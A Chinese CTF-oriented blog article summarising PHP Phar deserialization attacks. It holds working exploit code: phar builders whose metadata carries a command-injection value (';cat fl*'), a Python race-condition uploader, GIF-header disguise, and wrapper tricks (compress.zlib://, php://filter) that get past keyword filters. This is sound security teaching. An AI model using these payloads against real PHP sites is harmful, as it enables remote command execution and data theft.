PHP Phar反序列化总结

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP Phar反序列化总结相关的知识,希望对你有一定的参考价值。

文章首发于Freebuf
https://www.freebuf.com/articles/web/291992.html

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面,这篇文章来总结下ctf遇到的phar的利用和绕过方式

Phar文件结构

phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分

1.a stub
    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
	phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
	签名,放在文件末尾

生成phar文件

php内置了一个Phar类来处理相关操作

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

访问之后会在同目录生成 phar.phar 文件,xxd 命令查看文件结构

meta-data是以序列化的形式存储的

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

析构方法被调用,注意此处 weakup 等方法不会被调用

这样就可以在不调用unserialize()的情况下进行反序列化操作

参考文章:https://paper.seebug.org/680/

Phar协议文件包含

phar协议要求:

  • php大于5.3.0
  • 需要将php.ini的参数phar.readonly设置为off

因为phar文件本质就是以中压缩文件,所以可以使用phar伪协议读取执行

很多网站都采用单一入口模式来作为网站文件加载模式

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include($action.'.php'); //载入相应文件
?>

此处就存在文件包含漏洞,可以利用伪协议读取文件源码,但是只能访问php文件

如果该网站同时存在上传图片的功能,这时就可以利用phar反序列化漏洞

首先写一个 test.php,写入要执行的命令

<?php phpinfo();?>

将 test.php 压缩为 test.zip 注意:压缩时选择仅存储,在文件上传处上传 test.zip 文件

将 test.zip 文件后缀改为 jpg,上传 jpg 文件,在 url 中访问

?r=phar://pic/test.jpg/test

不仅可以使用phar协议,zip协议也是可以的

zip文件包含

和phar用法不同效果一致

include($file.'.jpg');
# \\x00的截断在php<5.3.4you'xi

将php文件后缀改为jpg(因为是include .jpg),然后用压缩软件压缩为 zip格式,再将 zip 文件后缀名改为 jpg(绕过限制方便图片上传)

/?r=zip://pic/test4.jpg%23test

pic是图片保存目录

这个例子只是利用了phar伪协议解析文件,并没有利用反序列化

Phar反序列化漏洞利用

既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

以一个demo来说明

ctfshow web276 phar反序列化+条件竞争

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\\.\\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到

phar构造如下,会在当前目录生成 evil.phar 文件

<?php
class filter 
{
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}

// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
 * 将自定义的 meta-data 存入 manifest
 * 这个函数需要在php.ini中修改 phar.readonly 为 Off
 * 否则的话会抛出 
 * creating archive "***.phar" disabled by the php.ini setting phar.readonly 
 * 异常.
 */
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

条件竞争,py3脚本

import base64
import requests
import threading

flag = False
url = 'ip'
data = open('./evil.phar', 'rb').read()

pre_resp = requests.get(url)
if pre_resp.status_code != 200:
    print(url + '\\n链接好像挂了....')
    exit(1)

def upload():
    requests.post(url+"?fn=evil.phar", data=data)


def read():
    global flag
    r = requests.post(url+"?fn=phar://evil.phar/", data="")
    if "ctfshow{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=upload)
    b = threading.Thread(target=read)
    a.start()
    b.start()

将phar伪造成其他格式的文件

如果文件上传界面后端代码会检查文件类型的话,就需要将 phar 文件未造成其他格式文件

$_FILES["file"]["type"]=="image/gif"

由于php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测

绕过phar关键字检测

在第一个实例中,文件成功上传之后使用 phar 伪协议去读取文件,但是如果后端检测参数不能以 phar 开头的话,就需要绕过

if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename){
    die();
}

绕过方法

// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
// 还可以使用伪协议的方法绕过
php://filter/read=convert.base64-encode/resource=phar://phar.phar

绕过__HALT_COMPILER特征检测

if (preg_match("/</?|php|HALT_COMPILER/i",$filename){
    die();
}

因为phar中的a stub字段必须以__HALT_COMPILER();字符串来结尾,否则phar扩展将无法识别这个文件为phar文件,所以这段字符串不能省略,只能绕过

方法一:

首先将 phar 文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER(),将 phar.gz 后缀改为 png(png文件可以上传)

文件上传成功后,利用文件包含漏洞包含文件

file_un.php?filename=phar://pic/phar.phar.gz/phar.phar
# file_un.php中包含__destruct并且可以被触发

方法二

将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过该正则

$phar_file = serialize($exp);
    echo $phar_file;
    $zip = new ZipArchive();
    $res = $zip->open('1.zip',ZipArchive::CREATE); 
    $zip->addFromString('crispr.txt', 'file content goes here');
    $zip->setArchiveComment($phar_file);
    $zip->close();

这篇文章在php源码角度给出分析:https://www.anquanke.com/post/id/240007

phar反序列化过程中,对metadata进行解析的时候会进行php_var_unserialize()将Phar中的metadata进行反序列化

参考文章

https://xz.aliyun.com/t/2958

https://xz.aliyun.com/t/2715

https://paper.seebug.org/680/

https://blog.csdn.net/solitudi/article/details/113588692

以上是关于PHP Phar反序列化总结的主要内容,如果未能解决你的问题,请参考以下文章

利用phar文件拓展php反序列化攻击

利用phar文件拓展php反序列化攻击

深入理解PHP Phar反序列化漏洞原理及利用方法

利用 phar 拓展 php 反序列化漏洞攻击面

利用phar协议造成php反序列化

phar反序列化漏洞简述